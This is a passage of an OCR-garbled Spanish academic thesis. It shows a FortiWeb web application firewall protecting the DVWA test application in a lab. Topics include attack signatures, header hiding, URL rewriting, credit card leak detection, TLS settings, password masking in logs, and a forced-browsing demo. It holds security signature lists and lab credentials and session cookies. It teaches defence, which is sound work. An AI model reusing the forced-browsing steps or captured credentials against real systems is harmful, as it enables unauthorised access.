ML Protection Trojans © Alert & Deny 50 High
Web Anti-Defacement
Bad Rabot © Alert & Deny &0 Low
I FTP Security >
Information Disclosure © Erase & Alert 80 High
0 DoS Protection >
Personally ldentifiable Information
B 1P Protection >
L Tracking >
= Autolearn s 0K Cancel Signature Details
@ WebVulnerabilityScan > v

Figura 60. Activando firmas de seguridad
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Adicionalmente vamos a crear una firma personalizada para poder

ocultar la informacion de X-Powered-By: y Server:

[ Damn Vulnerable Web App (DVI X < =k
€& C ® Noseguro | 192.168.1.1/dvwa/login.php r O
[® @] | Elements Console Sources Network Performance Memory  Application  Security  Audits 41 § X
\ ® O ™ ¥ Q | View 3= = [ Groupbyframe | [J Preservelog [J Disable cache Offiine Online ¥
Ve Filter Hide data URLs [} XHR JS CSS Img Media Font Doc WS Manifest Other
Name X Headers Preview Response Cookies Timing
loginphp Remote Address: 192.168.1.1:80 7
Username =1 g Isa6HiG Referrer Policy: no-referrer-when-downgrade
v Response Headers  view source
Password Logit Cache-Control: no-cache, must-revalidate

Connection: Keep-Alive
Content-Encoding: gzip

content-length: 803

Content-Type: text/html;charset=utf-8
Date: Wed, 17 Apr 2019 ©3:13:28 GMT
Expires: Tue, 23 Jun 2009 12:00:00 GMT
Keep-Alive: timeout=15, max=98
Pragma: no-cache

Server: XXXXXXXXXXXXXXXXXXXXXXXXXXX
X-Frame-Options: DENY

X-Powered-By: X0OOOXXXXOOXXXXXXXX

Damn Vulnerable Web Application (DVWA) is a RandomSt ince project vRequestHeaders  view source

Hint: default usemame is ‘admin’ with password ‘password

Accept: text/html,application/xhtml4xml,application/xml;q=0.9,image/webp,image/apng,*/*;
4=0.8
2 requests | 12 KB transferre..  Accept-Encoding: gzip, deflate -

0:16
17/04/2019

Figura 61. Ocultando informacion sensible

T AT S
X-Frame-Options: DENY
I—Powered—By: R R L R R KUK,

Figura 62. Ocultando informacion sensible

Como se comentd anteriormente podemos ejecutar el escaner de
vulnerabilidades que cuenta Fortiweb para poder visualizar brechas de

seguridad y recomendaciones para mitigarlas en nuestro sistema web.

£2% FortiWeb - FortiWeb x ‘ [®] Damn Vulnerable Web App (D' X | Login Page x ‘ -+ - 9

I,

<« Cc o @ 192.168.1.1:1044/index 0% e @ vy n o e

S22 FortiWeb-VM FortiWeb

.-
£ System > ~ decreateNew [#rait i Delete

[ Fortiview > # Name Schedule Profile Status Action
& User 1 Scan_dvwa Run Now Scan_dvwa Done o C
B Policy 2 Scan_dvwa_2 Run Now Scan_dvwa_2 Done oC
£S5 Server Objects

<} Application Delivery

@ Web Protection

BB FTP Security

U DosS Protection

B |P Protection

2 Tracking

= Machine Learning

‘@, Web Vulnerability Scan

Web Vulnerability Scan

C v v v v v v v v v v

Policy

Scan Profile

Web Vulnerability Scan
Schedule

Scan History
Scanner Integration

|l Log&Report >

18:05

PO N L
L T vty

Figura 63. Andlisis de vulnerabilidades de Fortiweb
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423 Fortiweb - FortiWeb X | &23 ForliWeb Web Vulnerability ¢ X [l] Damn Vulnerable Web App (' X | Login Page: x + - g

¢ @ @ 192.168.1.1:1044/wvs/policy/detail?type - 18&mkey = Scan_dvwa/2019-04-18_11-52-4( B m O in O & =

FortiWeb Web Vulnerability Scan Report
Generated on: Thu Apr 18 11:52:40 2019

Website: 20.20.20.5

Configured target URLs:
« hitp:/f20.20.20.5/dvwallogin.php

Figura 64. Reporte de vulnerabilidades de Fortiweb

El autoaprendizaje puede ensefarle mucho sobre las amenazas a las
gue se enfrentan sus activos web. También le ayuda a comprender las
estructuras de sus aplicaciones web y como las usan los usuarios finales. Sin
embargo, lo mas importante es que el aprendizaje automatico puede ayudarlo
a adaptar rapidamente la configuracion de FortiWeb para que se adapte a sus
aplicaciones web.

El autoaprendizaje descubre las URL y otras caracteristicas de las
sesiones HTTP y / o HTTPS al observar el trafico que pasa a sus servidores
web. Para saber si la solicitud es legitima o un posible intento de ataque,

realiza las siguientes tareas:

e Compara la solicitud para atacar firmas

e Observa entradas tales como cookies vy
paradmetros de URL.

e Rastrea la respuesta de sus servidores web a
cada solicitud, como 401 Unauthorizedo500
Internal Server Error

e Captura la tasa de solicitudes de archivos (hits)

por direccion IP y tipo de contenido

Al aprender de su trafico, el dispositivo FortiWeb puede sugerir
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configuraciones apropiadas y ayudarlo a generar rapidamente perfiles

disefiados especificamente para su trafico unico.

£33 FortiWeb - FortiWeb

2 C @

FortiWeb-VM FortiWeb
£ System >
i Fortiview
& User >
R Policy >
B8 Server Objects >
o Application Delivery >
@ Web Protection >
W FTP Security »
10 Dos Protection >
B 1P Protection >
L Tracking >
= AutolLearn v

AutoLearn Profile
Predefined Pattern >
Custom Pattern b

Application Templates

@, Web Vulnerability Scan >
il Log&Report >
@ Monitor >

X

The URL you requested has been b X . Damn Vulnerable Web App (D' X +

() 192.168.1.1:1044/index

= DVWA
= 192.168.1.1
= dvwa
logout.php
login.php
index.php
instructions.php
setup.php
= vulnerabilties
+ brute
+exec
+ carf
e
+ 0
# sgh_blind
+ upload
#oxss s |
+asss
security.php
phpinfo.php
about php
instructions
L

e

- @

0%

Refresh fig

Overvien | Attacks | isits

Edit Protected Hostnames

Domain Table

Erg Wb Sorver

Apache/2,2.8 (Ubuntu)

192.166.1.1 DA/2 100%
Overview Table

Ttem value

Policy Name DA

Hits Count %

‘Attack Count 54

Number of URLs 2

Average hits par sacond 1

Max hits per second 2

2333
19/04/2019

s

e

Figura 65. Analisis de trafico por Fortiweb

£33 FortiWeb - FortiWeb

<o 0@

FortiWeb-VM Fortiweb

£ System »
s FortiView

& User

& policy

= Server Objects

»
»
>
o Application Delivery >
@ Web Protection >
I FTP Security >
10 Dos Protection >
B 1P Protection >
O Tracking >
= AutoLearn
AutoLearn Profile
Predefined Pattern >
Custom Pattern >

Application Templates

@ Web Vulnerability Scan >
bl Log&iReport >
@ Monitor 3

X

The URL you requested has been b X I Damn Vulnerable Web App (0 X +

® 192.168.1.1:1044/index

- DVWA
= 192.168.1.1
=ldvwa
lgout.php
login.phg
inclex.php
instructions.php
setup.php
=+ vulnerabilities
+brute
+rexec
+esit
+h
+lsqi
+eqi_blind
+upioad
sy
+xsss
scurity.php
phpino.php
about.php
instructions
e/

-@f o

70%

Refresh Generate Conflg Generate PDF
Overiew | atracks | Viits | A
Attack Table
Name Count Percentage_Detail Action Type Custom  Recommendation|
Cross Site Seripting 1 19% B At v| | Recommended v on on
Cross Site Scripting (Extended) ] 0% R Aert V|| Recommended v On on
5QL Injection 1 19% B At v| | [Recommended v on on
SOL Injection (Extended) ] 0% R At V|| Recommended v On on
QL Injection (Syntax Based Detaction) | 0 0% B At v|| Recommended v on on
Ganeric Attacks 1 19% B At v || Recommended v on on
Ganaric Attacks(Extendad) ] 0% B At ¥| | Recommended ¥ on on
Trojans ] 0% ® Alert ¥ Recommended ¥ On on
Infarmation Disclosura 51 94.4% B At ¥| | Racommended v on on
Known Exploits ] 0% ® Alert ¥ Recommended ¥ On on
Personally Identifiable Information ] 0% R At v | Racommended ¥ on on
Bad Robot 0 0% £y Alert ¥ Recommended ¥ on on

2334

19/04/2019

Figura 66. Clasificacion de ataques revisados por AL

Otra técnica que Fortiweb nos permite usar para la proteccion de
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posibles ataques es la reescritura de url, pero en este caso va en conjunto

con una reescritura del cuerpo html tanto en los request y response, veremos
cOmo nuestras paginas tienen la extension .php dando informacion muy

importante para usuarios maliciosos.

[ Damn Vulnerable Web App [DVV X + -8

€ C  ® Noseguro | 192.168.1.1/dvwalogin.php % O :
)
D)

Username

Password Logir

Figura 67. Divulgacion de informacion

Ahora veremos como las url ya no muestran su extension .php

ayudandonos a no divulgar informacion de manera innecesaria.

u]

B Damn Vulnerable Web App (DV0 % 4 -

& C @ Noseguro | 192.168.1.1/

B w O

= Instructions

FrEey
g s
‘Command Execution
CSRF
File Inclusion
SQL Injection
SQL Injection (Blind)
Upload |
XSS reflected
XSS stored

DVWA Security

)
#riztiases

Damn Vulmn ble Web Ap

mE M) g

ura 68. Ocultando la extension de archivos del sistema
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juested hasbeer X 4 !5

€« C @ Noseguro | 192.168.1.1/dvwa/setur @ & 8 :

Web Page Blocked!
6 The page cannot be displayed. Please contact the administrater for additional information.

URL: 192.168.1.1/dvwa/setup

Client IP: 192,168.1.2
Attack ID: 20000007
Message ID: 000000079611

/_‘Emi@h

Figura 69. Ocultando la extension de archivos del sistema

12. Ataques por exposicion de datos sensibles

12.1 Exposicion de datos sensibles

Este objetivo es el corazén del cumplimiento de PCI DSS. Las otras
10 principales amenazas de OWASP pueden afectar la seguridad de los datos
almacenados de la tarjeta de pago, una razén mas para eliminar dicha funcion
de la aplicacion web si es posible pero esta amenaza es especificamente

sobre los datos mientras esta en transito, en los cables.

Al igual que FortiGate, Fortiweb tiene proteccion de fuga de datos
para detectar fugas de tarjetas de crédito en las respuestas del servidor.
Idealmente, los servidores deberian aceptar nimeros de tarjeta, pero nunca
aumentar el riesgo repitiéndolos al cliente. Fortiweb va mas all4, sin embargo.
Como terminador SSL o TLS, FortiWeb solo puede ofrecer a sus clientes las
versiones de protocolo y las suites de cifrado mas seguras. Esto ayuda a
mantener sus servidores y clientes mas seguros. Si se registran los ataques,
puede enmascarar facilmente las contrasefias y los numeros de las

tarjetas de crédito para que no aparezcan en los registros sin encriptar.
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A continuacién, vemos como en una conexion http las credenciales de

un usuario va en texto plano.

D Damn Vulnerable Web App (DVV X D WebGoat X+ -a

€ C A Noseguro | 192.168.1.1/dvwa/login o % 8

DVA)

Username
admin
Password Logi|
Damn Vulnerable Web Application (DVWVA) is a RandomStorm OpenSaurce project

Hint: default usemame is ‘admi’ with password password

17407

20/04/2019

Figura 70. Iniciando sesion en el sistema web

[ The URL you requested has beer X [} WebGoat x| + -a
€ C B 192.168.1.1/dvwa/instructions B o O
% ﬂ Elements  Console  Sources  Metwork  Performance  Memory  Application  Security  Audits H 4
® O | m ¥ Q  Vew &= == U Groupbyframe | [J Preserve log [ Disable cache Offline Online ¥
Filter “HidﬂdﬂtaURlsm XHR JS CSS Img Media Font Doc WS Manifest Other
| 20ms 40ms 60 ms & ms 100ms. 120 ms il

Web Page Blocked!

Name X Headers Preview Response  Cookies  Timing
/ The page cannot be displayed. Please | Jloginghp Accept-Language: es-419,€530=0.9 -
~ contact the administrator for additional indexphp Authorization: Basic YIHIbGNhOMhcmeyIDTwMTk=
information. -
|# data:image/png;base... Cache-Control: max-age=0
URL: 192.168.1.1/dvwa/index.php Connection: keep-alive
Client IP: 192.168.1.2 Content-Length: 42
Attack ID: 20000003 Content-Type: application/x-www-forn-urlencoded

Message 1D: 000000076111 Cookie: security=yQ/aoiFon]TEXMKLgHWCKWSNIAZ+8LaTX0YVqqr/ CmKrAu4TYFBDKOE 3Qub jSYNVYROFr ini

TFhxTpvZafiog==; PHPSESSID=4b41e8588b323b3ebb81b220cfdech82; cookiesession1=1A05C432]FH(
3PGOUGSQLZINEL7 300

Host: 192.168.1.1

Origin: http://192.168.1.1

Referer: http://192.168.1.1/dwwa/login

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/s.0 (Windows NT 6.3; Wined; x64) AppleWebkit/537.36 (KHTML, like Gecl
0) Chrome/72.8.3626.121 Safari/537.36

vFormData  viewsource  view URL encoded
username: admin
password: carlos

3requests | B3 KB transferr,.| 09 Lo8in .

1708

20/04/2019

Figura 71. Visualizamos las credenciales en texto plano
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12.2 Mitigaciones ala exposicion de datos sensibles

Fortiweb nos permite habilitar DLP, editamos una politica de firma,
podemos configurar FortiWeb para detectar una infraccion basada en un
namero especifico de nimeros de tarjetas de pago en la pagina web, si es

necesario.

7% FortiWeb - Fortiweb x |+ - g
- 9
&« [N @ 192.168.1.1:1044/index T e h*d ¥ N DO & =
FortiWeb-VM FortiWeb
£ System > | Edit Signature Policy
0w FortiView >
& User N Name DVWA Signatures
B policy N Custom Signature Group Custom _signatures_thwa MR-
B Server Objects > Comments o
b Application Delivery »
Y —— . Name Status False Positive Mitigation Action Block Period Severity Trigger Action
nown Attacks . Cross Site Scripting o Alert & Deny &0 High
T Cross Site Scripting (Extended) o Alert& Deny 50 Megium
Custom Signature SQL Injection © © Period Block 20 High
Advanced Protection > SQL Injection {Extendled) © © Period Block &0 Megium
Cookie Security SQL Injection {Syntax Based Detection) o Period Block 50 High
Input Validation > Generic Attacks © Alert & Deny &0 High
Protocol Generic Attacks{Extended) © Alert &0 Medium
Access >
© Alert & Deny 60 High
XML Frotection
Trajans © Alert & Deny 60 High
Web Anti-Defacement
W FTPSecurty ) Bad Robot [ o] Nert & Deny 80 Low
10 D0s Protection N Information Disclosure [ o] Erase &Alert 60 High
B 1P Protection > [P sonally identifiable Infarmation © Alert 50 High
L Tracking > Detection Threshold 1
= AutoLeam >
@, WebVulnerability Scan > [ Cancel Signature Details
sl Log&Report >
@ Monitor >

0:02

50
21/04/2019

Figura 72. Activando firmas de seguridad

£23 FortiWeb - FortWeb x [+ -8
K
< ¢ @ @ 192.168.1.1:1044/indlex I YN e =
FortiWeb-VM Fortiweb
& System > (4] creditc: Sig 1D: 100010001
i FortiView 3 || ™ Cross Site Scripting Search Description Q@ Signature | Exception | Threat Weight
& 1+ Cross Site Scripting (Extended) 5 -
i SignaturelD | Status Description
& Usr ? ||/ 5Q Injection 2 S P— dlpth - PE— Signature ID: 100010001
5 8 v 501 Injection s signature checks if there s crediit card leakage in pages from web server.
& roicy ’ o ‘,SQU"!@"( = | 00010001 VEnaDle e can be achieved in HTTP response body. HTTR/2 Compatible
= Server Ovjects 5 || v QL injection (Syntax Based Detecti
1 Generic Attacks AertOnly: o
+ Appiication Delivery > || 1 Generic Attacks{Extende)
& Web Protection v | # Known Bxploits
& 8 W/ Trojans
Known Attacks v |lg
8  Bad Robot
R - - omaoniscosa:
Custom Signature E % + Personally Identifiable Information
v CreditCard Number
w ' Social Security Number
Cookie Security Search
Input Validation y|| T Filters
Protocol
Access > _ Found In:
XML Protect [MalchExanpe, [ | ResPONSE_BODY
rotection
[ vmpax [ werez | 2
Web Anti-Defacement
status: 200
B FTP Security » server: Microsoft-l1S/5.1
date: Wed, 15 Feb 2012 06:16:41 GMT
10 Das Protection > content-type: text/html
‘acoept-ranges: bytes
B 1P Protection > last-modified: Wed, 15 Feb 2012 06:14:09 GMT
elag: 'f6775eTa%bockas4"
0 Tracking > content-length: 146
= AutoLeam > <html>
<head>
@, Web Vulnerability Scan » </head>
il Log&Report > <body>
ad “This i a test page for credit card leakage.
€ Monitor > ‘The credit card number is [4096688354171427].
<[bady>
</html>

5 g1/0472019

Figura 73. Activando la proteccién para numero de tarjetas de crédito

53




Universidad de Buenos Aires — Especializacion en Seguridad Informatica

Recuerde: tanto A6 como PCIl DSS requieren seguridad mientras el

pago esta en transito. Para asegurar los datos de la tarjeta de pago mientras

esta en transito, la autenticacion y el cifrado son fundamentales. Tenga en

cuenta que las versiones anteriores de SSL 2.0 y SSL 3.0 tienen muchas

vulnerabilidades conocidas, y deben evitarse, si es posible.

Si se requiere que cumpla con las normas PCI DSS, SSL 2.0, fortaleza

de clave débil y hash MD5 se consideran violaciones de PCl DSS. Pronto,

SSL 3.0, TLS 1.0 y SHA-1 también pueden ser violaciones. Esto es cada vez

mas probable, porque los estilos de renegociacion y las suites de cifrado

especificados ahora tienen exploits.

{23 FortiWeb - FortiWeb

€200

= u FortiWebVM FortiWeb

x|+

(D) 192.168..1:1044/index

& System >
i FortiView )
& User )

B Policy v

Web Protection Profike
FTP Security Profile
Threat Weight

£ Server Objects

0}0 Application Delivery

& WebProtection

I FTP Security

10 DoS Protection

L) Tracking

= Autoleam

@, Web Vulnerability Scan
|l Log&Report

b
b
)
b
b
B IPProtection )
b
)
b
b
e Monitor )

=ch )9

it Polcy

NI Poliy

Enable URL Based Client Certificate

ﬂSSLCunnecliunSEtlJrLgs

| Supported SSL Protocols

SSLITLS Encryption Level

Disable Client-Initizted SSL Renegotiation

| [BHTTRS Header Insertion

(Client Certificate Forwarding

AddHSTS Header

Edit Policy
Protected Hostnames Srv_Ubuntu e
Client Real IP C
Enable touse the client source [P and port when cq
Configure FortiVeb as the default gatewayonthe|  Enable OCSP Stapiing
Syn Cookie C
Half Open Threshold 8000
HTTP Service HTTPS -
HTTPS Service HTTPS -
HTTPR2 C
Certificate [Pleas v
Certificate Intermediate Group v
Advanced S5l settings
Redirect HTTPto HTTPS Q
Security Configuration
Web Protection Profile [Prease Select..| ML)
AutoLearn Profile [Please Select..] v
Monitor Mode [0 ]
URL Case Sensitivity o]

Comments

Mac Age

L AddHPKP Header

-0

viIND e =

[Please Select.] v
a
‘Defines for which URLS the client will need to submit a certificate.

Append a time-stamped OCSP response signed by the CA to the initial TLS handshake toeliminate
the need for clients to contact the CA

Pratocol Enable Disable:

510 0

TS11 '

11512 g _
Medium el Customized

FortiWebwill allow only certain cipher suit
O

pending on the encryption level defi

Jgnores dlient requests for S5L/TLS renegotation to profect against

DoS attacks that use tf tionate server-side during SSL/TLS

renegotiation.

0 ]
FortiWebwill forward client certificate information to the web server via a specific HTTP header

field.
O
Add an HSTS header ("Strict-Transport-Security ] to responses to declare that browsers should
onfyinteract with this web server using secure HTTPS connections.
13552000 Sezonds [3600- 31536000}
[Please Select.| v

LITTD Posblic Vo i AL 2

o e

i am LITTD hiraddar thot

Figura 74. Activar TLS para las comunicaciones seguras
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A continuacion, vemos la configuracion para cifrar las claves de los

usuarios en los logs.

FortiWeb - FortiWeb X ‘ ar = [
&« c @ (@ 192.168.1.1:1044/index 0% -9 W N O e é’
FortiWeb-VM FortiWeb
£ System s> | drcreate New O Enable Predefined Rules €O Enable Custom Rules
I Fortiview O ® Name General Mask Field Name: Field Value
& User 0O 1 hide_password password )
B policy >
£ server Objects >
o Application Delivery >
& Web Protection >
I FTP Security >
0 Do Protection 3
B 1P Protection 3
8 Tracking >
= Autolearmn >
@ Web Vulnerability Scan >
il LogéReport ¥
Log Access >
Report >
Log Policy >
Log Config e
Global Log Settings
Other Log Settings
@ Monitor >

Figura 75. Activando el cifrado de informacién sensible en los logs

Validamos como la clave es correctamente cifrada en los logs
almacenados en nuestro Fortiweb.

X ‘ r - ol
B £
® 192.168.1.1:1044/index 0% e g ¥y IND e =
> oo s % |03 [|usemame Unimown A
Y " |[HTTP Referer hitp:/192:168.1.1/dvwiaflogin.php
| | [ | ey Source  Destination  Service Method  Retum Code Message Client Device ID none
P1 04201655 DVWA 19216812 2020205 hitp [ 302 HTTP post request from 192.168:1. 2551447 10 20.20.20.5:80 A HTTP post request from 192.168.12:51447 ¢
> 2 04201654 DVWA 19216812 2020205 hitp post 302 HTTP post request from 192.168.1.2:51401 to 20.20.20.5:80 020.20.20.5:80
5 Server Objects 3| 3 04201654 DVWA 19216812 2020205 http post 302 HTTP post request from 192.168.1.2:51401 t0 20.20.20.5:60 Mozila/5.0 (Windows NT 6.3; Wind: x64) Ap
. . ) User Agent pleWiebKit/37.36 (KHTML. lie Gecko) Chra
b Application Delivery 5| 4 04201654 DVWA 19216812 2020205 hitp post 302 HITP post request from 192.168.1.2:5401 10 20.20.20.5:80, e 7203626121 Safari /597,35
& Web Protecton ,| 5 oe201653 Dwwa 19216812 2020205 http post 302 HTTP post request from 192.168.1.2:51333 0 20.20.20.5:60 -
6 04201227 DVWA 19216812 2020205 http  post 302 HTTP postrequest from 192.168.L. 25189210 202020580 | et
I FTPsecurity > 192.168.1.2:51447 -» 20.20.205:80
7 04201224 DVWA 19216812 2020205 http post 302 HTTP post request from 192.168.1.2:51723 0 20.20.20.5:60
U DosProtection >| 8 04201223 DvwA 19216812 2020205 http post 302 HTTP post request from 192.168.1.2:51703520.2020,5:50 || Packet Header
B 1pProtection >| 9 04201218 DVWA 19216812 2020205 http post 302 TP past request from 192.168.1.2:51452 10 20.2020.5:80 || POST /dvwa/loginphp HTTF/1.1
O Tracking 5| 10 04201208 DVWA 19216812 2020205 http post 302 HTTP post request from 192.168.1.2:50948 10 20.2020.5:60 || Host 19216811
= Autotesm o | 11 04201205 Dvwa 19216812 2020205 http  post 301 HTTP post request from 192.168.1.2:50905 t0 20.2020,5:80 | Connection: keep-alive
" 12 04-2011:46 SrvWebgoat 19216812 2020207 hitp post 302 HTTP post request from 192.166.1.2:508521020.20207:60__ || Content-Length: 42
@ wieb Vulnerabilty Scan ?| 13 04192235 DvWa 19216812 2020205 http post 301 HTTP post request from 192.168,1.2:508761020.2020.5:80, || Cache-Control: max-2ge=0
ul Log&Report ¥ | 14 04192235 VWA 19216812 2020205 http  post 401 WTTP post request from 192.163.1.2:50876 to 20.20.20.5:50—{| Authorization: Basic Y3N1bGNOmNhomou DiwhTi=
Log Access v |15 04192235 DVWiA 19216812 2020205 http post 401 HTTP post request from 192.166.1.2:50876 t0202020.5:80 || Origin: hittp/192.168.0.1
Attack 16 04192235 DVWA 19216812 2020205 http  post 401 HTTP post request from 192.168.1.2:50876 10 20.2020.5:80 || Upgrade-Insecure-Requests: 1
T, 17 04192234 DvWA 19216812 2020205 http  post 400 HTTP post request from 192.166.1.2:5086010202020.5:60 || Content featic form-urlencoded
18 04-1922:34 DVWA 19216812 2020205 http  post 401 HTTP post request from 192.166.1.2:50860020.2020.5:60 || User-Agent: Mozilla5.0 (Windows NT 6.3: Winé; x64) AppleWebiit/
537.36 [KHTML ke Gecko) Chrome/72.0.3626.121 Sefori/537.36
19 04192233 DVWA 19216812 2020205 hitp  post 400 HTTP post request from 192.166.1.2:50848 10 20.20.20.5:60 " - -
Download } y .9 jmag
20 04192233 DVWA 19216812 2020205 hitp  post 400 HTTP post requestfrom 192.163:1.2:5084710 202020580 || vebpimage/apng?/a=08
Report >| 21 04192231 DVWA 19216812 2020205 hitp  post 400 HTTP post requestfrom 192.163:1.25077910 202020580 || Referer:hetgu/152.168.1 Lbwarlogingph
LogPolicy 5| 2 04192230 DVWA 19216812 2020205 hitp  post 401 HTTP post request from 1921631 250779 10202020580 (| cent Encoring ep, deflate
= S| 28 0192230 DVWa 19216812 2020205 hitp  post 401 HTTP post request from 192.163:1.2:5077910 202020580 || Accept-Language: es-419.59-09
5 24 04192230 DVWA 19216812 2020205 hitp  post 400 HTTP post request from 192.163:1.2:5076610 202020580 || Cookie:security=low; PHPSESSID=d ea
€ poritor >| 25 04192229 DVWA 19216812 2020205 http post 301 HTTP post request from 192.168.1.2:50768 10 20.2020.5:80 || 5415; cookiesession1=1A05C43288425KMLEMUVQXNBSPXM3505
26 04192229 DVWA 19216812 2020205 hitp  post 301 HITP post request from 192.166:1.2:507661020.2020.5:80 || ¥-Forwarded-For: 192.168.1.2
27 04192229 DVWA 19216612 2020205 http  post 401 HTTP post request from 192.168:1.2:507661020.20205:80 (| @iRkbBody: | |1 (!
28 04192229 DVWA 19216812 2020205 hitp  post 401 HTTP post request from 192.166:1.2:507680 20.2020.5:60 ¥ - ————
. 3 e ord=
€< 210 > ¥ [Total20990] OHexBody: v

Figura 76. Clave cifrada en los logs
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13. Ataques por ausencia de control de acceso a las
funciones

13.1 Ausencia de control de acceso a las funciones

El hecho de que no haya hipervinculos publicos a una pagina web
administrativa no significa que no se encuentre y explote. Si las reglas de
acceso de su servidor web no lo prohiben, un atacante podria incluso acceder
a archivos fuera del directorio de su aplicacibn web e incluso dentro de la
propia aplicacion web, no se puede suponer que los clientes siempre accedan
a las paginas web de forma autorizada.

Algunos de los hacks mas famosos se han ejecutado simplemente
editando la URL que estaba en la barra de URL del navegador, tratando de
acceder alas URL donde la aplicacion no verifico la autorizacion. Esto se llama

navegacion forzada.

Recuerde incluso si un usuario esta autenticado, no estan
necesariamente autorizados para cada URL. Para cada solicitud, la aplicacion
debe verificar que el cliente esté autorizado para ese dominio, como lo hace
FortiWeb, y en ese paso de la sesion. La aplicacion también debe verificar que

la URL debe ser accesible desde esa direccion IP.

Los archivos de configuracion no deberian ser accesibles a traves de
Internet. El acceso debe estar restringido a una red de gestion privada. Podria
haber otras URL, usadas internamente por la aplicacion web, cuyos permisos
deberian establecerse para que no se pueda acceder directamente desde

Internet.
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A continuacién, veremos cdémo desde la péagina inicial del sistema

donde necesitamos iniciar sesion para poder dar uso al sistema podemos
moficar la url a 192.168.1.1/dvwa/setup.php y accedemos sin problemas y

resetamos la base de datos.

[ Damn Vulnerable Web App (D X +

& C  © Noseguro | 192.168.1.1/dvwa/login.php

P
DVIWA,

Username

Password

Logit

Figura 77. Pagina de inicio de sesion del sistema web

Damn Vulnerable Web App X +

Home
Instructions
sep |

Brute Force
Command Execution
CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)
Upload

XSS reflected

XSS stored

DVWA Security
PHP Info

€ C @ Noseguro | 192.168.1.1/dvwa/setup.php#

B x O

Database setup

Click on the ‘Create / Reset Database' button below to create or reset your database. If you get an error make
sure you have the correct user credentials in /config/config.inc.php

If the database already exists, it will be cleared and the data will be reset

Backend Database: MySQL

| Create / Reset Database

Database has been created.
'users' table was created.
Data inserted into 'users' table.
‘guestbook’ table was created.

Data inserted into 'guestbook’ table.

Setup successful!
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13.2 Mitigacidén en ausencia de control de acceso alas
funciones

Fortiweb nos permite combinar diversas técnicas para protegernos de
este tipo de ataques como usar las reglas de control de acceso, incluidas las
llamadas reglas personalizadas, que le permiten combinar multiples factores,
como User-Agent: y la limitacién de velocidad, se pueden seleccionar en el
perfil de proteccién. También lo pueden hacer las paginas de inicio, las
reglas de orden de paginay las firmas.

Crearemos una regla de péagina de inicio con la url correcta
/dvwa/login ahora vemos como al intentar saltar el login y intentar ingresar a
setup.php es blogueado su solicitud por intentar acceder a una url no
autorizada para los usuarios, pero si intentan acceder a otra url como

/dvwal/instructions.php los usuarios son redireccionados a la pagina de

inicio.
[ The URLyourequested hasbee: X+ ! g
& C O Noseguro | 192.168.1.1/dvwa/setup & e :

Web Page Blocked!
@ The page cannot be displayed. Please contact the administrator for additional information.

URL: 192.168.1.1/dvwa/setup

Client IP: 192.168.1.2
Attack ID: 20000007
Message ID: 000000079611

Figura 79. Blogueo de FortiWeb

58



Universidad de Buenos Aires — Especializacion en Seguridad Informatica

[ Damn Vulnerable Web App OV X 4 - g

€ C @ Noseguro | 192.168.1.1/dvwa/login % 6
(R (] | Elements Console Sources Network Performance  Memory  Application  Security  Audits &1/ i X

\ ® O m ¥ Q Vew = = [ Groupby frame Preserve log [ Disable cache Offline Online ¥
- Filter Hide data URLs () XHR JS CSS Img Media Font Doc WS Manifest Other
Name X Headers Preview Response Cookies Timing
| instructions
Username L ¥ General

loginphp

Request URL: http://192.168.1.1/dvwa/instructions
| login Request Method: GET
Status Code: * 302 Found

Remote Address: 192.168.1.1:80

Password Logit = login_logo.png

Referrer Policy: no-referrer-when-downgrade
v Response Headers  view source
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Connection: Keep-Alive
Content-Length: 0
Content-Location: instructions.php
Content-Type: text/html
Date: Fri, 19 Apr 2019 16:07:47 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Keep-Alive: timeout=15, max=94

Location: login.php

Pragma: no-cache
Server: XXCOO00XOCO0XIXNCOKXX
TCN: choice

4 requests | 1.6 KB transferre...

.o 400
21/04/2019

Figura 80. Redireccionamiento de Fortiweb

Fortiweb nos permite aplicar un orden ldgico para el sistema
web a continuacion forzaremos al sistema para que acceda a una determinada
url después de realizar el inicio de sesién, debera ingresar a instructions.php
como vemos muestra un bloqueo ya que el sistema tiene predeterminado ir a
index.php

[ The URL you requested has beer X =+ -0

€ (] @NDSGE}UI‘O‘192‘1551.1/‘(1\/\&'(1!’\\!(1&)(:J‘T\J & o % e H

Web Page Blocked!
@ The page cannot be displayed. Please contact the administrator for additional information.

URL: 192.168.1.1/dvwa/index.php

Client IP: 192,168.1.2
Attack 1D: 20000003
Message ID: 000000079744

407

SO e

Figura 81. Blogueo de Fortiweb
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14. Ataques de falsificacion de peticiones entre sitios
cruzados CSRF

14.1 Falsificacidon de peticiones entre sitios cruzados CSRF

En A8, el cliente estd correctamente autenticado y correctamente
autorizado, pero un atacante inyecta cddigo malicioso, elabora un correo
electronico de phishing o utiliza ingenieria social para engafiar al usuario para

gue ejecute una accion.

Como era de esperar, FortiWeb puede detectar y desinfectar algunas
formas de CSRF, como clickjacking. Pero otras formas de este atagque son
actualmente demasiado intensivas en CPU y memoria para que la prevencion
sea practica en tiempo real. A menudo requieren un gran niumero de reglas de

seguridad tanto positivas como negativas.

De este modo, y dado que los navegadores ejecutan simultaneamente
codigo enviado por multiples sitios web, existe el riesgo de que un sitio web
(sin el conocimiento del usuario) envie una solicitud a un segundo sitio web y

éste interprete que la accion ha sido autorizada por el propio usuario.

Por ejemplo, supongamos que Jane recibio un correo electronico que
parece ser de su banco. Se le inyect6 un codigo para que cuando Jane visite
el sitio web del banco real e intente transferir fondos, no se envien al
destinatario previsto. En cambio, los fondos se transfieren al atacante. Para
detectar este tipo de ataque, un WAF deberia recordar a todos los
destinatarios de la transferencia autorizados y bloquear los no autorizados,
para cada usuario, en cada aplicacion web. Ademas, esta es solo una entrada,
en una pagina web el WAF necesitaria comprender cada entrada, en cada
pagina, de cada aplicacion web protegida. Por lo tanto, si es posible, su
aplicacion deberia intentar salvaguardar las transiciones criticas de las
maquinas de estados como esta. Los auditores de seguridad de cdédigo
pueden ayudarlo a encontrarlos, y las bibliotecas de CSRF existen para
ayudar a eliminar esto. Esto ayudara a protegerse contra la ingenieria social
o los vectores de chat. También puede habilitar firmas Fortiweb para evitar

inyecciones de codigo CSRF.
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Realizaremos el siguiente ataque primero ingresaremos al sistema y

nos dirigimos a CSRF vamos a copiar el cédigo html marcado.

£7% Fortiweb - Fortiweb. X £ 192.168.1.1:8090/login X | [B Damn Vulnerable Web App (0 X | =+ - g

&« ¢ o @ B 192.168.1.1/dvwa/vulnerabilities/csrl/ - @ n o =
e 2
